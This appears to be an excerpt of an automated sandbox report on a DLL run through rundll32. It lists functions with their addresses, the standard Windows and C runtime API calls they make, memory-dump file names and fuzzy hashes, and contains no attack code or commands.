Instruction Fuzzy Hash: F4E1B077B09A4686EB00CF65D4547AD7762FB48B88F094531CE2E6B7ADDE38E505C380

Function 00007FFDFB63CDF0 Relevance: 3.3, APIs: 2, Instructions: 283COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB63CECD
_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB63CFA2

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e080f985b358a76214d9da205e74ee5a069856b25d22229fcd03a0197d6577bc
Instruction ID: 482c0047d9c413a79b05b6d1f8042eb6f61e349bcd16d67f9e0817f99e3ccff3
Opcode Fuzzy Hash: e080f985b358a76214d9da205e74ee5a069856b25d22229fcd03a0197d6577bc
Instruction Fuzzy Hash: E2C1BF62B16A4395EB10DF64D860ABD23A1AF40BD8F484136DA2D5BBE9CF39D585C340

Function 00007FFDFB6BA074 Relevance: 3.2, APIs: 2, Instructions: 232COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FFDFB6BA2C3
RaiseException.KERNEL32 ref: 00007FFDFB6BA2D4

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ExceptionRaise_clrfp
String ID:
API String ID: 15204871-0
Opcode ID: 5fdb1f9ae2f8046fefa6de6677efff20ec7da4de992de2567530401986855cc3
Instruction ID: 044b103c721a84fb3f3ccc6bdaae1e03909901e25d5dbf9efbfae67ebc02b198
Opcode Fuzzy Hash: 5fdb1f9ae2f8046fefa6de6677efff20ec7da4de992de2567530401986855cc3
Instruction Fuzzy Hash: B0B14A73A05B858BEB55CF29C89266837B0F744B48F19C925DA6D8B7B8CF3AD451CB00

Function 00007FFDFB632BB0 Relevance: 2.8, Instructions: 2779COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID:
API String ID: 2573137834-0
Opcode ID: 458de179583267e04d67e5c9e0a20a561244be73ce3981ad2d6d68b199313b54
Instruction ID: c927f90ab35d34f7e1dcbacf15eff11ee761b6bd191238819500cee89f27d6c9
Opcode Fuzzy Hash: 458de179583267e04d67e5c9e0a20a561244be73ce3981ad2d6d68b199313b54
Instruction Fuzzy Hash: 9653E2B6B00F5996EB44CFA9D45479C3379F308B88F894022DB4E63B68DB79C59AC341

Function 00007FFDFB6B5534 Relevance: 2.6, Strings: 2, Instructions: 144COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FFDFB6B56BE
e+000, xrefs: 00007FFDFB6B5641

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID: e+000$gfff
API String ID: 0-3030954782
Opcode ID: 697da2182525ce827e1fe7e0b8beb057708ace18a822d2e4ddd652a102047a5c
Instruction ID: 6a757a3e5fa7eaf8ab65f31cf46364dabc5b50324e9032398c7983e32d7f531e
Opcode Fuzzy Hash: 697da2182525ce827e1fe7e0b8beb057708ace18a822d2e4ddd652a102047a5c
Instruction Fuzzy Hash: 6C514B63B193C646E7248E359830FA96BA1E744B94F58C235CB7C4FAEADE3DD4458B00

Function 00007FFDFB6BAF68 Relevance: 1.8, APIs: 1, Instructions: 289COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6BB039

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d1f64968ad1770d1efc80ac35260ff280965217b117666fb16db73d753934c1d
Instruction ID: b155df5c5a44cbcfe1a0f6c5fedb6d2acec987c971d208d3b67c2ed55bfc04c5
Opcode Fuzzy Hash: d1f64968ad1770d1efc80ac35260ff280965217b117666fb16db73d753934c1d
Instruction Fuzzy Hash: 55B1AF26B0A64385FB649B2594A0B7A66B4FF48794F188535DA7D0F7FCDE3CE8418B00

Function 00007FFDFB667FA4 Relevance: 1.7, APIs: 1, Instructions: 247COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFDFB6682DA

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 2700c6a985c74747472959c3d9b99a658c2e6cf471a9d0cfd85a59525d997384
Instruction ID: 51da117b2d96b476b700acb19cb3b5bfaadd40b509c6e8a05f515b5004e21e4c
Opcode Fuzzy Hash: 2700c6a985c74747472959c3d9b99a658c2e6cf471a9d0cfd85a59525d997384
Instruction Fuzzy Hash: 94A1A362B0AA838EFB118B7594607BD2B66BB05B98F144536CEAD1F7E9CF2CD445C340

Function 00007FFDFB6C38C0 Relevance: 1.7, APIs: 1, Instructions: 182COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FFDFB6C3923

Part of subcall function 00007FFDFB6C5998: _invalid_parameter_noinfo.LIBCMT ref: 00007FFDFB6C59AC

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo
String ID:
API String ID: 474895018-0
Opcode ID: 2407beb805fe419edc1baaeb82cea384eb867cfa0c620f43ce4859f05f7fede7
Instruction ID: 821dd9ba39cb8cbe13be56f3dbe1c4f4857bea9ec32d58afed7cfd1b991b5784
Opcode Fuzzy Hash: 2407beb805fe419edc1baaeb82cea384eb867cfa0c620f43ce4859f05f7fede7
Instruction Fuzzy Hash: B76119A2F0E29346FB60A9688460F7CA581AF50765F144235DB3D8F6F9EE7DE8408B00

Function 00007FFDFB6C06C4 Relevance: 1.6, APIs: 1, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFDFB6B2370: GetLastError.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B237F
Part of subcall function 00007FFDFB6B2370: FlsGetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B2394
Part of subcall function 00007FFDFB6B2370: SetLastError.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B241F

EnumSystemLocalesW.KERNEL32(?,?,?,00007FFDFB6C0EAF,?,00000000,00000092,?,?,00000000,?,00007FFDFB6B2EED), ref: 00007FFDFB6C0762

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 988e2dc78293e592d60df2a9fc299994fb3ceb26a2c127cf87711874f594c479
Instruction ID: 7cc5ecc09821f5c835cf45a6869d3b95c3ebff8d1bfa14075d6edb4db01533ea
Opcode Fuzzy Hash: 988e2dc78293e592d60df2a9fc299994fb3ceb26a2c127cf87711874f594c479
Instruction Fuzzy Hash: 8E11E7A7B096468AEB189F25D050AB87BA0FB80B91F548135C67D473E4CB38D5D1CB50

Function 00007FFDFB6C0794 Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FFDFB6B2370: GetLastError.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B237F
Part of subcall function 00007FFDFB6B2370: FlsGetValue.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B2394
Part of subcall function 00007FFDFB6B2370: SetLastError.KERNEL32(?,?,?,00007FFDFB6BE95B,?,?,?,00007FFDFB6B500C,?,?,?,00007FFDFB6A292F,?,?,00000000,00007FFDFB6A5D7F), ref: 00007FFDFB6B241F

EnumSystemLocalesW.KERNEL32(?,?,?,00007FFDFB6C0E6B,?,00000000,00000092,?,?,00000000,?,00007FFDFB6B2EED), ref: 00007FFDFB6C0812

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystemValue
String ID:
API String ID: 3029459697-0
Opcode ID: 7896c24f7b7c68e061b58191aaa37f4395516cd9945eb3c36ad47c4df9a2a773
Instruction ID: f912fa1977253bc84b43d0f976939f0ec93d29e5c2d627f0ca40f5087a954424
Opcode Fuzzy Hash: 7896c24f7b7c68e061b58191aaa37f4395516cd9945eb3c36ad47c4df9a2a773
Instruction Fuzzy Hash: CC01F5B2F0928386EB146F25E420BB976A5EB40BA5F50C231D2380B6E8CF2C94818B00

Function 00007FFDFB6B4048 Relevance: 1.5, APIs: 1, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

EnumSystemLocalesW.KERNEL32(?,?,00000000,00007FFDFB6B449B,?,?,?,?,?,?,?,?,00000000,00007FFDFB6BFD10), ref: 00007FFDFB6B4097

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: EnumLocalesSystem
String ID:
API String ID: 2099609381-0
Opcode ID: 3d6a32387599d1ea1e748918de75002c87940da0aa70d43c2577bc7d73f5533e
Instruction ID: 59c1db931a9c44b16193f7d034431e794070deb3a0e2a5ec37e1dc0b6389e64d
Opcode Fuzzy Hash: 3d6a32387599d1ea1e748918de75002c87940da0aa70d43c2577bc7d73f5533e
Instruction Fuzzy Hash: 1FF0FB75B19B4682E704DB19E8A09A572A5EB987C4F088036EA6D873B9CF3CD551C640

Function 00007FFDFB6A5B68 Relevance: 1.5, APIs: 1, Instructions: 27timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFDFB6A5B7C

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: Time$FileSystem
String ID:
API String ID: 2086374402-0
Opcode ID: f019484138478004d6b0b81b836b42204217826bd32ade2e69efe3c97fe9fdab
Instruction ID: 61acc1837f9ba0136c19c257cdf794f5d9444d0403648b50c175199cb27b1e8b
Opcode Fuzzy Hash: f019484138478004d6b0b81b836b42204217826bd32ade2e69efe3c97fe9fdab
Instruction Fuzzy Hash: CBF0E9D1B2A64E43EE049715943477862415F6C7F6F006731DE3D0DBD8EF1CE0454600

Function 00007FFDFB68E3C4 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32 ref: 00007FFDFB68E3E5

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: dee2a3e89961c71f2f112c3d13249f1b2f62c973cd30512ea3f4d300e3b5703d
Instruction ID: d1f8189e73eb857cd308ab29604a9c9f75cd53570e5246eac1fa6ba3e5ff77ab
Opcode Fuzzy Hash: dee2a3e89961c71f2f112c3d13249f1b2f62c973cd30512ea3f4d300e3b5703d
Instruction Fuzzy Hash: A8F08C33B2E44383EBA95A59C578B781250EF50301F404036F52F8A6F8DA3CD5558701

Function 00007FFDFB6474D0 Relevance: 1.5, APIs: 1, Instructions: 22encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32 ref: 00007FFDFB6474F4

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID: ContextCryptRelease
String ID:
API String ID: 829835001-0
Opcode ID: 89271d2cfb3d976f64e6e23ffad9c8088508c784352551b117d26a4a6ba5aeb3
Instruction ID: 4a86b9a014a88ae8032bdcce0b6afb408c08beadb1dbbd9277a37de4715ed44e
Opcode Fuzzy Hash: 89271d2cfb3d976f64e6e23ffad9c8088508c784352551b117d26a4a6ba5aeb3
Instruction Fuzzy Hash: 0FE09231B0AA43C1EF588F16E4607756211AF88B44F5C8030DA2D0B7A9CE3DD8828300

Function 00007FFDFB6B5084 Relevance: 1.5, Strings: 1, Instructions: 260COMMON

Download Yara Rule

Strings

gfffffff, xrefs: 00007FFDFB6B53E2

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID: gfffffff
API String ID: 0-1523873471
Opcode ID: ea7df365074ccc79077c131bdab2a070fb89d22f7d9c5b5a665b4ff9918ff590
Instruction ID: 0a286e0c524fae079370490f961c9261f1d9a73dce066765fdc7d594c46f11ad
Opcode Fuzzy Hash: ea7df365074ccc79077c131bdab2a070fb89d22f7d9c5b5a665b4ff9918ff590
Instruction Fuzzy Hash: 4DA15A63B1A3C686EB21CB259430BED77A0AB54784F05C131CE6D4B7EADA3DD401CB01

Function 00007FFDFB6A0090 Relevance: 1.5, Strings: 1, Instructions: 248COMMON

Download Yara Rule

Strings

, xrefs: 00007FFDFB6A02A9

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

Associated: 00000004.00000002.1838536072.00007FFDFB610000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839027659.00007FFDFB6CC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839062931.00007FFDFB6FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839150801.00007FFDFB700000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839178476.00007FFDFB702000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB706000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839212105.00007FFDFB708000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.1839389327.00007FFDFB70A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffdfb610000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: f530297fc9467c13ecec88a9cf1b30c0dc8c6d0807490992119f7f064edd4374
Instruction ID: 8313efd32d1f17616428951e66bc3be0476de526d07152685544c0399044c8bc
Opcode Fuzzy Hash: f530297fc9467c13ecec88a9cf1b30c0dc8c6d0807490992119f7f064edd4374
Instruction Fuzzy Hash: 37B17B72B0A7578AEB659F298070A7D3BA8EB46B48F140139CA5D1E3E9CF39D850C744

Function 00007FFDFB64DAA0 Relevance: 1.5, Strings: 1, Instructions: 244COMMON

Download Yara Rule

Strings

RoundUpToMultipleOf: integer overflow, xrefs: 00007FFDFB64DD23

Memory Dump Source

Source File: 00000004.00000002.1838569491.00007FFDFB611000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FFDFB610000, based on PE: true

